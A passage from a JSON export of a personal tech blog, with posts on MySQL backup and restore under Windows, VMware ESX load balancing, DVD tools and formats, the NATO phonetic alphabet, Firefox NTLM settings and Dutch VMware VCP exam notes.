href=\"/?p=233\"\u003e/?p=233\u003c/a\u003e\u003c/p\u003e","title":"Softmod and Downgrade your Wii (Gamma Pack L0g0ff Edition)"},{"content":"Hi,\nIf you want to use mysqldump to back up the database, you can enter the full path when typing the command, or add the path c:\\wamp\\bin\\mysql\\mysql5.0.51b\\bin to the System variable PATH in Control Panel - System - Advanced - Environment Variables - System variables.\nYou can make a backup from the command line or a scheduled task in Windows like this, assuming that myusername and mypassword have access to the database mydatabase:\nmysqldump -umyusername -pmypassword mydatabase \u0026gt; mydatabase.sql\nYou can restore the database using the mysql command from the command line:\nmysql -umyusername -pmypassword -D mydatabase \u0026lt; mydatabase.sql\nMore info from the command line: mysql \u0026ndash;help | more\n","permalink":"https://blog.wapnet.nl/2009/01/mysql-restore-under-windows/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003eIf you want to use mysqldump to back up the database, you can enter the full path when typing the command, or add the path c:\\wamp\\bin\\mysql\\mysql5.0.51b\\bin to the System variable PATH in Control Panel - System - Advanced - Environment Variables - System variables.\u003c/p\u003e\n\u003cp\u003eYou can make a backup from the command line or a scheduled task in Windows like this, assuming that myusername and mypassword have access to the database mydatabase:\u003c/p\u003e","title":"mysql restore (under Windows)"},{"content":"Recently I have setup a NLB IIS site with 2 VM’s in a DRS/HA cluster. Because of this using unicast mode was not an option (we need to be able to vMotion the virtual machines). Multicast is also the way VMware recommends setting it up. From VMware’s site:\nNote: VMware recommends configuring the cluster to use NLB multicast mode even though NLB unicast mode should function correctly if you complete these steps. This recommendation is based on the possibility that the settings described in these steps might affect VMotion operations on virtual machines. Also, unicast mode forces the physical switches on the LAN to broadcast all NLB cluster traffic to every machine on the LAN. If you plan to use NLB unicast mode, you must run all members of the NLB cluster on the same virtual switch.\nThe other problem with unicast mode is you have to disable RARP for either the virtual switch or the port group:\nThe other thing you need to do if using multicast mode, is add a static ARP entry in your switch for the MAC address of the NLB cluster, which is found under the cluster properties in NLB manager. For a Cisco switch, from config mode:\narp arpa\nSource: http://www.2putts4par.com/2008/01/31/windows-nlb-on-vmware-esx/\n","permalink":"https://blog.wapnet.nl/2009/01/windows-load-ballancing-under-esx-35/","summary":"\u003cp\u003eRecently I have setup a NLB IIS site with 2 VM’s in a DRS/HA cluster.  Because of this using unicast mode was not an option (we need to be able to vMotion the virtual machines).  Multicast is also the way VMware recommends setting it up.  From VMware’s site:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e VMware recommends configuring the cluster to use NLB multicast mode even though NLB unicast mode should function correctly if you complete these steps. This recommendation is based on the possibility that the settings described in these steps might affect VMotion operations on virtual machines. Also, unicast mode forces the physical switches on the LAN to broadcast all NLB cluster traffic to every machine on the LAN. If you plan to use NLB unicast mode, you must run all members of the NLB cluster on the same virtual switch.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Windows load Ballancing under ESX 3.5"},{"content":"DVD Flick to convert DIVX to DVD http://www.dvdflick.net/\nHandbrake to convert DVD to DIVX http://handbrake.fr/\n","permalink":"https://blog.wapnet.nl/2008/12/free-gpl-dvd-tools/","summary":"\u003cp\u003eDVD Flick to convert DIVX to DVD \u003ca href=\"http://www.dvdflick.net/\"\u003ehttp://www.dvdflick.net/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHandbrake to convert DVD to DIVX \u003ca href=\"http://handbrake.fr/\"\u003ehttp://handbrake.fr/\u003c/a\u003e\u003c/p\u003e","title":"Free (GPL) DVD tools"},{"content":"LetterCode wordPronunciationIPA from ICAAAlfa(ICAO, ITU, IMO, FAA) Alpha(ANSI)AL FAHˈælfɑBBravo****BRAH VOHˈbrɑːˈvoCCharlie****CHAR LEE or SHAR LEEˈtʃɑːli or ˈʃɑːliDDelta****DELL TAHˈdeltɑEEcho****ECK OHˈekoFFoxtrot****FOKS TROTˈfɔkstrɔtGGolfGOLFgʌlfHHotelHO TELL(ICAO) HOH TELL(ITU, IMO, FAA)hoːˈtelIIndia****IN DEE AHˈindiˑɑJJuliett(ICAO, ITU, IMO, FAA) Juliet(ANSI)JEW LEE ETTˈdʒuːliˑˈetKKilo****KEY LOHˈkiːloLLima****LEE MAHˈliːmɑMMikeMIKEmɑikNNovemberNO VEM BERnoˈvembəOOscar****OSS CAHˈɔskɑPPapaPAH PAHpəˈpɑQQuebecKEH BECKkeˈbekRRomeo****ROW ME OHˈroːmiˑoSSierraSEE AIR RAH (ICAO, ITU, IMO) SEE AIR AH (FAA)siˈerɑTTango****TANG GOˈtængo [ sic]UUniform****YOU NEE FORM or OO NEE FORMˈjuːnifɔːm or ˈuːnifɔrm [ sic]VVictor****VIK TAHˈviktɑWWhiskey****WISS KEYˈwiskiXX-ray or Xray****ECKS RAY(ICAO, ITU) ECKS RAY (IMO, FAA)ˈeksˈreiYYankee****YANG KEYˈjænki [ sic]ZZulu****ZOO LOOˈzuːluː source: http://en.wikipedia.org/wiki/NATO_phonetic_alphabet\n","permalink":"https://blog.wapnet.nl/2008/12/nato-english-alphabet/","summary":"\u003cp\u003eLetterCode wordPronunciationIPA from ICA\u003ca href=\"http://en.wikipedia.org/wiki/A\" title=\"A\"\u003eA\u003c/a\u003e\u003cstrong\u003eAlfa\u003c/strong\u003e(ICAO, ITU, IMO, FAA) \u003cstrong\u003eAlpha\u003c/strong\u003e(ANSI)\u003cstrong\u003eAL\u003c/strong\u003e FAHˈælfɑ\u003ca href=\"http://en.wikipedia.org/wiki/B\" title=\"B\"\u003eB\u003c/a\u003e\u003cstrong\u003eBravo****BRAH\u003c/strong\u003e VOHˈbrɑːˈvo\u003ca href=\"http://en.wikipedia.org/wiki/C\" title=\"C\"\u003eC\u003c/a\u003e\u003cstrong\u003eCharlie****CHAR\u003c/strong\u003e LEE  or\n\u003cstrong\u003eSHAR\u003c/strong\u003e LEEˈtʃɑːli or\nˈʃɑːli\u003ca href=\"http://en.wikipedia.org/wiki/D\" title=\"D\"\u003eD\u003c/a\u003e\u003cstrong\u003eDelta****DELL\u003c/strong\u003e TAHˈdeltɑ\u003ca href=\"http://en.wikipedia.org/wiki/E\" title=\"E\"\u003eE\u003c/a\u003e\u003cstrong\u003eEcho****ECK\u003c/strong\u003e OHˈeko\u003ca href=\"http://en.wikipedia.org/wiki/F\" title=\"F\"\u003eF\u003c/a\u003e\u003cstrong\u003eFoxtrot****FOKS\u003c/strong\u003e TROTˈfɔkstrɔt\u003ca href=\"http://en.wikipedia.org/wiki/G\" title=\"G\"\u003eG\u003c/a\u003e\u003cstrong\u003eGolf\u003c/strong\u003eGOLFgʌlf\u003ca href=\"http://en.wikipedia.org/wiki/H\" title=\"H\"\u003eH\u003c/a\u003e\u003cstrong\u003eHotel\u003c/strong\u003eHO \u003cstrong\u003eTELL\u003c/strong\u003e(ICAO)\nHOH \u003cstrong\u003eTELL\u003c/strong\u003e(ITU, IMO, FAA)hoːˈtel\u003ca href=\"http://en.wikipedia.org/wiki/I\" title=\"I\"\u003eI\u003c/a\u003e\u003cstrong\u003eIndia****IN\u003c/strong\u003e DEE AHˈindiˑɑ\u003ca href=\"http://en.wikipedia.org/wiki/J\" title=\"J\"\u003eJ\u003c/a\u003e\u003cstrong\u003eJuliett\u003c/strong\u003e(ICAO, ITU, IMO, FAA) \u003cstrong\u003eJuliet\u003c/strong\u003e(ANSI)\u003cstrong\u003eJEW\u003c/strong\u003e LEE \u003cstrong\u003eETT\u003c/strong\u003eˈdʒuːliˑˈet\u003ca href=\"http://en.wikipedia.org/wiki/K\" title=\"K\"\u003eK\u003c/a\u003e\u003cstrong\u003eKilo****KEY\u003c/strong\u003e LOHˈkiːlo\u003ca href=\"http://en.wikipedia.org/wiki/L\" title=\"L\"\u003eL\u003c/a\u003e\u003cstrong\u003eLima****LEE\u003c/strong\u003e MAHˈliːmɑ\u003ca href=\"http://en.wikipedia.org/wiki/M\" title=\"M\"\u003eM\u003c/a\u003e\u003cstrong\u003eMike\u003c/strong\u003eMIKEmɑik\u003ca href=\"http://en.wikipedia.org/wiki/N\" title=\"N\"\u003eN\u003c/a\u003e\u003cstrong\u003eNovember\u003c/strong\u003eNO \u003cstrong\u003eVEM\u003c/strong\u003e BERnoˈvembə\u003ca href=\"http://en.wikipedia.org/wiki/O\" title=\"O\"\u003eO\u003c/a\u003e\u003cstrong\u003eOscar****OSS\u003c/strong\u003e CAHˈɔskɑ\u003ca href=\"http://en.wikipedia.org/wiki/P\" title=\"P\"\u003eP\u003c/a\u003e\u003cstrong\u003ePapa\u003c/strong\u003ePAH \u003cstrong\u003ePAH\u003c/strong\u003epəˈpɑ\u003ca href=\"http://en.wikipedia.org/wiki/Q\" title=\"Q\"\u003eQ\u003c/a\u003e\u003cstrong\u003eQuebec\u003c/strong\u003eKEH \u003cstrong\u003eBECK\u003c/strong\u003ekeˈbek\u003ca href=\"http://en.wikipedia.org/wiki/R\" title=\"R\"\u003eR\u003c/a\u003e\u003cstrong\u003eRomeo****ROW\u003c/strong\u003e ME OHˈroːmiˑo\u003ca href=\"http://en.wikipedia.org/wiki/S\" title=\"S\"\u003eS\u003c/a\u003e\u003cstrong\u003eSierra\u003c/strong\u003eSEE \u003cstrong\u003eAIR\u003c/strong\u003e RAH (ICAO, ITU, IMO)\nSEE \u003cstrong\u003eAIR\u003c/strong\u003e AH (FAA)siˈerɑ\u003ca href=\"http://en.wikipedia.org/wiki/T\" title=\"T\"\u003eT\u003c/a\u003e\u003cstrong\u003eTango****TANG\u003c/strong\u003e GOˈtængo [ \u003cem\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Sic\" title=\"Sic\"\u003esic\u003c/a\u003e\u003c/em\u003e]\u003ca href=\"http://en.wikipedia.org/wiki/U\" title=\"U\"\u003eU\u003c/a\u003e\u003cstrong\u003eUniform****YOU\u003c/strong\u003e NEE FORM  or\n\u003cstrong\u003eOO\u003c/strong\u003e NEE FORMˈjuːnifɔːm or\nˈuːnifɔrm [ \u003cem\u003esic\u003c/em\u003e]\u003ca href=\"http://en.wikipedia.org/wiki/V\" title=\"V\"\u003eV\u003c/a\u003e\u003cstrong\u003eVictor****VIK\u003c/strong\u003e TAHˈviktɑ\u003ca href=\"http://en.wikipedia.org/wiki/W\" title=\"W\"\u003eW\u003c/a\u003e\u003cstrong\u003eWhiskey****WISS\u003c/strong\u003e KEYˈwiski\u003ca href=\"http://en.wikipedia.org/wiki/X\" title=\"X\"\u003eX\u003c/a\u003e\u003cstrong\u003eX-ray\u003c/strong\u003e or\n\u003cstrong\u003eXray****ECKS RAY\u003c/strong\u003e(ICAO, ITU) \u003cstrong\u003eECKS\u003c/strong\u003e RAY (IMO, FAA)ˈeksˈrei\u003ca href=\"http://en.wikipedia.org/wiki/Y\" title=\"Y\"\u003eY\u003c/a\u003e\u003cstrong\u003eYankee****YANG\u003c/strong\u003e KEYˈjænki [ \u003cem\u003esic\u003c/em\u003e]\u003ca href=\"http://en.wikipedia.org/wiki/Z\" title=\"Z\"\u003eZ\u003c/a\u003e\u003cstrong\u003eZulu****ZOO\u003c/strong\u003e LOOˈzuːluː\nsource: \u003ca href=\"http://en.wikipedia.org/wiki/NATO_phonetic_alphabet\"\u003ehttp://en.wikipedia.org/wiki/NATO_phonetic_alphabet\u003c/a\u003e\u003c/p\u003e","title":"NATO / English Alphabet"},{"content":"Being a dedicated Firefox user, one of the few things that was still thwarting me was SharePoint. We use SharePoint internally for a ton of stuff, and it was a drag to have to fall back to that other browser. SharePoint pages look and work fine in Firefox, but I was having to reauthenticate on every single page, which really hindered my enjoyment of the experience.\nI finally figured out how to get Firefox to do NTLM, which means I don’t have to deal with the authentication dialogs, thereby reducing my dependence on IE to one and only one application (Oddpost).\nIt’s not at all obvious how to make it work, and it took me a few tries. You have to go to your Firefox address bar and type about:config. This will bring up the internal config editor, which allows you to set all kinds of properties that influence Firefox’s behavior. Look for the key called network.automatic-ntlm-auth.trusted-uris. Set that key’s value to a comma separated list of servers you want NTLM auth for. So if your internal SharePoint sites are on servers called Larry and Mo, use “larry,mo”. You can also add the same value to the key network.negotiate-auth.trusted-uris. It’s unclear to me if that second one is required, but I set it, and everything works. Now SharePoint works like a champ, and authenticates automatically.\nSource: http://www.testingreflections.com/node/view/1365\n","permalink":"https://blog.wapnet.nl/2008/12/get-firefox-to-do-ntlm/","summary":"\u003cp\u003eBeing a dedicated Firefox user, one of the few things that was still thwarting me was SharePoint.  We use SharePoint internally for a ton of stuff, and it was a drag to have to fall back to that other browser.  SharePoint pages look and work fine in Firefox, but I was having to reauthenticate on every single page, which really hindered my enjoyment of the experience.\u003c/p\u003e\n\u003cp\u003eI finally figured out how to get Firefox to do NTLM, which means I don’t have to deal with the authentication dialogs, thereby reducing my dependence on IE to one and only one application (Oddpost).\u003c/p\u003e","title":"Get Firefox to do NTLM"},{"content":"VMWare kernel controleerd de volgende phisical hardware: Memory (Not RAM), Physical processors, storage \u0026amp; networking controllers\nDefault iscsi port: 3260 Iana: iscsi-target 3260/tcp iSCSI port iscsi-target 3260/udp iSCSI port\nIscsi ondersteund geen clustering\nHoe ESX Serer de resources beheerd: Elke VM heeft zijn eigen CPU, Memory, bandbreedte en storage. ESX gegaraneerd de vm\u0026rsquo;s hun shares a.d.h.v: - Availeble resources - Reservation, limit of shares van de VM - Aantal active vm\u0026rsquo;s op de ESX - Reservation, limit of shares van de resource pool - Overhead van het beheren van de virtualiatie\nAls een VM te weinig resources in zijn resource pool heeft en de resources zijn ingesteld als expanceble dan zal de VM proberen de resources te krijgen van de bovenliggende resource pool. Wanneer die ook te weinig resources heeft zal de VM niet gestart kunenn worden\nDe minumum LUN capaciteit voor VMFS3 = 1200 mb\nStorage zoning heeft de volgende uitwerkingen: - Beheerd \u0026amp; ISOleerd de paden binnen de storage fabric - Schroeft het aantal active LUN\u0026rsquo;s terug. Je kunt met deze namelijk scheiden (isoleren) - Zorgt ervoor dat andere systemen buiten de SX servers niet bij de data kunnen. - Zorgt ervoor dat je de omgevingen kunt scheiden. Een testomgeving van een productie omgeving bijvoorbeeld - Kan je toegang tot een LUN verlenen of blokkeren.\nESX heeft de volgende systeemeisen: - Minstends 2 processoren van 1500Mhz van Intel Xeon of AMD Operon of AMD 64 x2 dual core processors - 1 Gig RAM - 1 of meerdere netwerk kaarten - Een SCSI disk, Glasvezel LUN, RAID LUN met ongepartioneerde ruimte\nNa het koppelen van een SAN LUN naar een VM moeten de volgende gegevens worden opgegeven: - The Virual device mode (SCSI poort) - The Compatibility mode (Persistant or non persistant)\nJe kan maximaal 512 poort groepen hebben op een single host\nWanneer je een slechte VM performance hebt als je twee cpu\u0026rsquo;s hebt (bijv 3 \u0026amp; 4 die vast gepint staan met 100% reservation) zorg er dan voor dat je 1 \u0026amp; 5 pakt zodat ze alle twee op een apparte fysieke CPU draaien.\nLoadballancing binnen VMWare kan op verschillende manieren: - Route based on IP hash - Kies een upling aan de hand van een IP bron of doel pakke - Route based on source MAC hash - Kies een uplink aan de hand van de hash of van het source netwerkkaart - Route based on the originating virtual port ID - Kies een uplink gebasseerd op een virtuele port waar het verkeer de virtuele switch ingaat\nWat is er vereist aan een cold migration van een VM De VM moet uit staat (doh)\nIn een VI 3 omgeving maakt iSCSI gebruik van de volgende dynamisch discovery: - gebruikt send targets verzoeken (requests) - Dynamische discovery is de enige discovery optie voor de software initiators\nPer ESX server kun je maximaal 64 iSCSI targets gebruiken\nPer ESX server kun je maximaal 127 Vswitches gebruiken\nGeldige iSCSI namen zijn: - IQN (iSCSI qualified name) iqn..\u0026lt;reversed_domain_name\u0026gt;:unique_name - EUI (Extended Unique Identifier) eui.\u0026lt;16 karaktername\u0026gt; 24 bits voor bedrijfsnaam, 40 bits voor een unieke ID zoals een serial nummer\nIn een DRS cluster zul je de volgende 3 stappen uit moeten voeren om een VM te maken: - Kies of jee een typische of cutom VM aan wilt maken - Selecteer de resource pool waar je de VM wilt draaien - Selecteer de datastore waar je de VM neer wilt planten\nVirtual Center 2.5 ondersteund de volgende databases: - MS SQL 2005 - MS SQL 2000 met SP4 - Oracle 9iR2, 10gR1 en 10gR2\nBooten van een SAN heeft de volgende voordelen: - Goedkopere servers - Makkelijker om de servers te vervangen - Minder verspeelde ruimte (lokale ruimte ben je anders altijd kwijt) - Makkelijker om de servers te backuppen - Betere beheersbaarheid\nHet upgraden van een ESX server 2.x met VMFS2 naar VMFS3 en vervolgens het benaderen van de 2.x server heeft de volgende consequentie: - Alle VM\u0026rsquo;s op de ESX2 kunnen gewoon aangezet worden (rare vraag\u0026hellip;)\nWanneer er in je DRS cluster achter een resource pool staat \u0026ldquo;Grafted from XYZ\u0026rdquo; betekend dit het volgende: Als je het rechtstreeks vertaald wordt het zoiets als: samengevoegd uit host naam\u0026hellip;.\nVoorbeeld: Je hebt een host met Resource pool\u0026hellip; deze voeg je toe aan een drs cluster\u0026hellip; Je hebt dan de keuze om de host toe te voegen zonder de oude resource pools.. alle vm\u0026rsquo;s en komen dus onder he cluster te staan..\nwanneer je de keuze graft new pool (heet geloof ik zo) dan wordt er in het DRS cluster een resource pool gemaakt met de oude resource pool instellingen van de host\u0026hellip;..\nWelke netwerk services worden geleverd door de VMkernel?\n- Iscsi - NFS - VMotion\nRollen die niet standaard zijn in een VC omgeving: - Local only - Virtual center - Privledges\nShares specificeert de \u0026ldquo;relative priority\u0026rdquo; of de importance (belangrijkheid) van een VM\nWat is er nodig voor NIC teaming: - De virtuele switch moet meer dan 1 uplink bevatten\nKun je ESX van een shared lun laten opstarten - Nee dit gaat niet. Shared lun\u0026rsquo;s zijn bedoeld voor meerdere ESX servers. Voor het booten van een LUN moet deze dedicated zijn\nMaximums: Maximaal 6 apparaten waarvan je de videokaart altijd kwijt bent. Je kunt dus maximaal 5 PCI apparten aansluiten.\nDe netwerk adaperts \u0026ldquo;panel\u0026rdquo; laat de volgende gegevens zien: - Appaaraatnaam (VMNic1, Vmnic2) - Speed (100/1000Mbit) - Configured (Auto/Full) - vSwitch - Networks (Netwerk namen)\nEen geldige reden om CPU Affinity (pinnen van CPU\u0026rsquo;s) te gebruiken is omdat deze gegevens niet meegenomen worden door VMotion\nWanneer de \u0026ldquo;reservation type\u0026rdquo; is FIXED, zal VMWare altijd controleren of de resource pool zelf genoeg ongereserveerde resources heeft. Is dit het geval dan zal de actie uitgevoerd worden. Is dit niet het geval zal je in de GUI een melding krijgen dat er te weinig resources zijn.\nEchter wanneer de reservation type \u0026ldquo;expandeble\u0026rdquo; is zal VMWare controleren of er genoeg ruimte is in de pool. Is er genoeg ruimte dan zal de VM gestart kunnen worden. Is er te weinig dan zal de VM gaan kijken of er genoeg ruimte is in de bovenliggende resource pool. Is daar genoeg ruimte dan zal de VM gestart worden. Is dat te weinig ruimte dan zal VMware de actie afbreken en hier een melding van geven.\n\u0026ldquo;Admision control\u0026rdquo; is het daadwerkelijke controleren van het starten van de VM op resources\nWanneer een CPU een minuut of 10 staat te stampen op 1,5Ghz en je wilt deze tijd verkorten dan kun je de CPU Limit verhogen, de CPU affinity resetten naar default (= gelijk aan geen affinity = alle cpu\u0026rsquo;s gebruiken) of de CPU resevation opschroeven\nHet maximale VMFS3 volumes wat een ESX server aan kan is 256 en de max grootte is 2TB. Verder is het max aantal lun\u0026rsquo;s ook 256 stuks. Het aantal Maximale SCSI controllers ligt op 16. En het maximaal aantal LUN paden ligt op 32.\nIn een fully automatic DRS cluster kun je zorgen dat 2 machines altijd bij elkaar staan, nooit bij elkaar staan of nooit verhuist worden naar een andere ESX server binnen het cluster. Volgens de examenvragen moet je de Affinity wizard starten. Ik vind het niet echt een wizard maar je bepaald het met regels in een simpel kolommetje. Als je met de rechtermuis op je cluster klikt \u0026gt; edit settings \u0026gt; DRS. Dan heb je daar \u0026ldquo;rules\u0026rdquo; en \u0026ldquo;Virtual Machine Options\u0026rdquo;. Binnen de VM options kun je aangeven hoe snel je DRS wilt inzetten of dat je dit helemaal niet wilt gebruiken op een \u0026ldquo;per host basis\u0026rdquo;. Binnen de rules kun je opgeven of 2 VM\u0026rsquo;s altijd samen of juist gescheiden moeten worden.\nWanneer je binnen je DRS cluster in de advanced option report_section=8 opgeeft dan wordt VMotion binnen het hele cluster uitgezet.\nDe waardes van traffic shaping op een Vswitch zijn: - Burst size - Avarage bandwith - peak bandwith\nom een alarm te mogen aanmaken moet je lid zijn van een administrator groep. Dit mag een Resource pool admin, een virtual ma- chine admin of een datacenter admin zijn.\nWanneer er wordt gewerkt met shares let dan op ht volgende. vma = 2000 shares vmb = 4000 shares\ntotaal is dus 6000 shares. wanner er wordt gevraagd hoeveel procent van de resources vma mag gebruiken is dat dus 33%\nvirtual server center gebruikt de poorten 27000 en 27010 om te kunnen communiceren met de license server.\nje kunt niet 2 hosts verplaatsen tussen 2 verschillende datacenters. Ook niet wanneer deze door de zelfde virtual center beheerd worden. Het zelfde geldt voor dubbele namen. Deze mogen wel voorkomen in 2 verschillende datacenters maar niet in het zelfde.\nVMFS gebruikt short-lived SCSI reservation tijdens het wijzigen van de metadata op het file system.\nRechten groepen ESX: - Administrators - Read only - No access\nRechten groepen Virtual Center:\n- No access - Read only - Administrator - Virtual machine administrator - Virtual machine power user - Virtual machine user - Datacenter Administrator - Resource pool administrator\nRollen zijn dus verdeeld in default esx, Vm, Resource en Datacenter admins. Dan heb je op VM niveau de power user, de user\nFull access, admin readonly groupen zijn rommel. Daar heb je de readonly groep voor\u0026hellip;\nDe core en basic management servers zijn: - Task scheduler Wanneer voer VC taak X uit. Bijvoorbeeld vmotion - VM Provisioning Het bevoorraaden van de VM (Harware, memory etc) - Host \u0026amp; VM Configuration Het configureren van de ESX en VM\u0026rsquo;s - Resources \u0026amp; Virtual machine inventory management DRS is een mooi voorbeeld - Statics \u0026amp; Logging Logging met grafieken etc - Alarm \u0026amp; Events management triggeren van de alarms en lgging onderin\n----- k*tstuk \u0026mdash;\u0026mdash; (Meer info VMWare resource management guid pdf) Mem.SamplePeriod houdt in hoevaak een server gemonitord wordt op memory activiteiten/gebruik. De standaard waarde is 60sec. Mem.BalancePeriod houdt in hoe vaak de memory opnieuw ingedeeld wordt. Het opnieuw indelen wordt ook meteen ingeschakeld wanneer er grote wijzigingen in het vrije geheugen plaatsvinden. Default 15 sec\n\\* Mem.SamplePeriod \\* Specifies the periodic time interval, measured in seconds of the virtual machine\u0026rsquo;s execution time, over which memory activity is monitored to estimate working set sizes. \\* 60\n\\* Mem.BalancePeriod \\* Specifies the periodic time interval, in seconds, for automatic memory reallocations. Reallocations are also triggered by significant changes in the amount of free memory. \\* 15\nMem.CtlMaxpercent is het maximaal aantal procent wat de ballooning driver aan memory kan verwerken. 65% is default waarde Mem.ShareScanVM geeft een rating hoe groot de kans is of een VM zijn memory moet delen met andere VM\u0026rsquo;s. Standaard waarde = 50 Mem.ShareScanTotal specificeerd het system-wide rate welk geheugen er gescand moet worden voor transparante page shareing mogelijkheden De waarde (rate) is het aantal pages wat er per seconden gescant moet worden. Standaard waarde is 200 pages per sec.\n\u0026lsquo;Memory tax\u0026rsquo; (Mem.IdleTax) helpt voorkomen dat virtual machines te veel geheugen opslurpen (hoarding) door Idle memory terug te geven aan de ESX host. Het verschil tussen memory idle tax en de ballooning driver is dat de balloning driver op de guest os draait en gebruikt maakt van de page file van het OS. Memory Tax doet dit op VM Niveau en heeft ook geen driver nodig. Standaard waarde van Idle.tax = 75\nMem.Balanceperiod: Specificeerd de periode in seconden voor automatische opnieuw indeling (reallocations) Reallocations worden ook gebuikt voor wijzigingen in het vrije geheugen Standaard waarde = om de 15 seconden ----- k*tstuk \u0026mdash;\u0026mdash;\n3 elementen van Layer 2 Security binnen de ESX omgeving zijn: - Promiscouus mode (accept/reject) Wanneer deze op accept staat worden alle pakketen op de vSwitch binnenkomen ook op deze mac gemikt (ideaal voor sniffing) - Mac address changes (accept/reject) Wanneer deze op reject staat zal VMWare geen andere MAC\u0026rsquo;s toestaan dan die in de VMX config file gedefinieerd staan - Forget Transmits (accept/reject) Alle uitgaande MAC adres pakketten anders dan het daadwerkelijke mac adres worden gedropt.\nEen SAN LUN moet op Virtual Compatibility mode staan om snapshots te kunnen maken.\nWanneer een ESX server geen gedeelde storage heeft zal deze een VMFS paritie en een VMKCORE partitie aan moeten maken. De VMFS volume wordt vervolgens gemount onder /vmfs/volumes. De vmkcore wordt niet gemount. Dit lijkt een beetje op een linux swap file alleen staat hier de kernel ook geparkeerd\u0026hellip;\nDe VMCore paritie wordt ook gebruikt voor het dumpen van de logging \u0026amp; de store core dumps (purple screen of death)\nWat zijn redenen om van je SAN te booten ipv via local storage: - Geen onderhoud op locale storage - Makkelijke clonen van service consoles - Diskless hardware configuratie zoals sommige blade systemen\nDe twee methodes op iSCSI te benaderen zijn: Active/Active Active/Pasive\nWanneer 1 VM crasht zal de dump altijd worden opgeslagen tussen de overige files VM files. Het zou ook raar zijn dit ergens anders op te slaan want je zoekt je een ongeluk anders.\nWanneer 2 VM\u0026rsquo;s in aan dezelfde vSwitch gekoppeld zijn heeft de data uitwisseling: Route Locally. Route internally is FOUT.\nDe minimale versie waar de Virtual Center op draait is Windows 2000 SP4 Met update rollup 1\nEen virtual machine kan in 2 manieren draaien. In de direct execution mode en in de Virtualisation mode. Het verschil tussen beide is dan de direct execution mode rechtstreeks op de CPU draait.\nEen reden geen processor affinity te gebruiken is omdat het genegeerd wordt door VMotion\nVirtual Machine Storage: - Gaat tot 4 hostadapters per VM - Gaat tot 15 targets per bus adapter - Gaat tot 60 targets per VM, 256 targets tegelijk in alle VM\u0026rsquo;s per ESX server\nDe eisen van een VMWare consolidated backup zijn (proxy): - De server moet een fysieke server zijn - Het OS moet windows zijn\nMet VMWare betaal je per fysieke CPU. Hoe meer cores dus hoe beter :) Voor VMotion moet je ook betalen. Ook per fysieke CPU.\nWanneer HA en DRS op de server actief zijn en een server crasht dan wordt het DRS algorithme op HA toegepast.\nDe volgende ESX management processen en services draaien in de server console: - hostd Stuur de actie in het service console aan met de VI client - VMauthd Authoriseerd alle remote users die met de VI client aanmelden. Koppelingen met andere authorisatie meganismen zijn ook toegestaan. LDAP en PAM bijvoorbeeld - net-snmpd Hiermee kun je met elke SNMP tool de ESX server beheren.\neen vwitch heeft de volgende policies: - Layer 2 security policy - Traffic shaping - Loadballancing en Failover Policy\nDe volgende types worden gebruikt voor SCSI bus sharing - Geen Virtual Disks kunnen niet geshared worden met andere virtual disks - Virtual Virtual disks kunnen geshared worden met andere VM\u0026rsquo;s op dezelfde server - Physical Virtual disks kunnen geshared worden door VM\u0026rsquo;s op alle servers\nDe volgende policies zijn van toepassing op Nic Teaming \u0026gt; Load ballancing: - Route based on the originating virtual port ID - Route based on IP hash - Route based on source MAC hash - Use explicit failobver order\nWat zijn de 3 verschillende physieke implemantatie alternatieven op SCSI devices gepresenteerd als een scsi targt: - Virtual Machine .vmdk bestand opgeslagen op een VMFS volume - Lokaal SCSI apparaat rechtstreeks op de VM - Apparaat mapping via een SAN LUN\nDe volgende besturings systemen zijn voldoende voor een VC Licentie server: - Windows 2003 - XP met SP2 - Windows 2000 met SP4\nAls een Virtuele Virtual Center server crash bijvoorbeeld door een power outage dan zal deze met HA automatisch gestart worden door een andere host.\nJe hebt 2 netwerk types of netwerk serices in ESX nodig (meestal voor de scheiding tussen iscsi) - Verbind het VM netwerk rechtstreeks met het fysieke netwerk - Verbind de VMKernel services rechstreeks met het fysieke netwerk\nVMotion kan uitgevoerd worden op SAN, NAS \u0026amp; iSCSI\nDe geadviseerde policy voor Active/Passive is Must Recently Used (MRU)\n","permalink":"https://blog.wapnet.nl/2008/12/braindump-vmware-vcp-dutch/","summary":"\u003cp\u003eVMWare kernel controleerd de volgende phisical hardware:\nMemory (Not RAM), Physical processors, storage \u0026amp; networking controllers\u003c/p\u003e\n\u003cp\u003eDefault iscsi port:\n3260\nIana:\niscsi-target    3260/tcp   iSCSI port\niscsi-target    3260/udp   iSCSI port\u003c/p\u003e\n\u003cp\u003eIscsi ondersteund geen clustering\u003c/p\u003e\n\u003cp\u003eHoe ESX Serer de resources beheerd:\nElke VM heeft zijn eigen CPU, Memory, bandbreedte en storage. ESX gegaraneerd de vm\u0026rsquo;s hun shares a.d.h.v:\n- Availeble resources\n- Reservation, limit of shares van de VM\n- Aantal active vm\u0026rsquo;s op de ESX\n- Reservation, limit of shares van de resource pool\n- Overhead van het beheren van de virtualiatie\u003c/p\u003e","title":"Braindump VMWare  VCP (Dutch)"},{"content":"There’s DVD+R, DVD+RW, DVD-R, DVD-RW, and even DVD-ROM! So what’s the difference between all of these different names, aren’t all DVDs the same? Well, it’s not quite that simple.\nLet’s first start with the most obvious difference: some have R and some have RW. The “R” stands for recordable, while the “W” stands for rewriteable.\nThe main difference between DVD-R and DVD-RW, or DVD+R and DVD+RW is that the R disc formats can only be written to once, and then it is only readable and can’t be erased for the rest of its digital life. While RW discs are can be written to and erased many times, they are both readable and writeable.\n“R” discs are perfect if they are only needed to be written to once, such as giving some files to a friend or transferring them between PCs. “RW” discs have their strength in the ability to be used many times over, which is great for routine system backups, etc. And naturally, the RW discs are slightly more expensive than the R discs, but you’ll have to decide if the trade offs are worth the money.\nNow, onto the difference between DVD-R and DVD+R. As I just described above, DVD-R \u0026amp; DVD-RW are sister discs, the difference being one is writeable once, while the other is writeable multiple times. The same thing is true for DVD+R \u0026amp; DVD+RW. So the question is, what’s the difference between the plus and minus?\nIn order to explain this we must take a trip back in time. When DVDs were first being developed, there was no industry standard. Multiple companies were competing to develop what they hoped would be the dominant form of the future.\nThe DVD-R DVD+R difference can easily be summarized by the following:\nThe DVD-R/RW standard was developed by Pioneer, and is used primarily by Apple and Pioneer. These “minus“ discs can only be written to in one layer on the discs surface. In addition, this format is supported by the DVD forum, but is in no way an industry standard. DVD-R/RW discs are 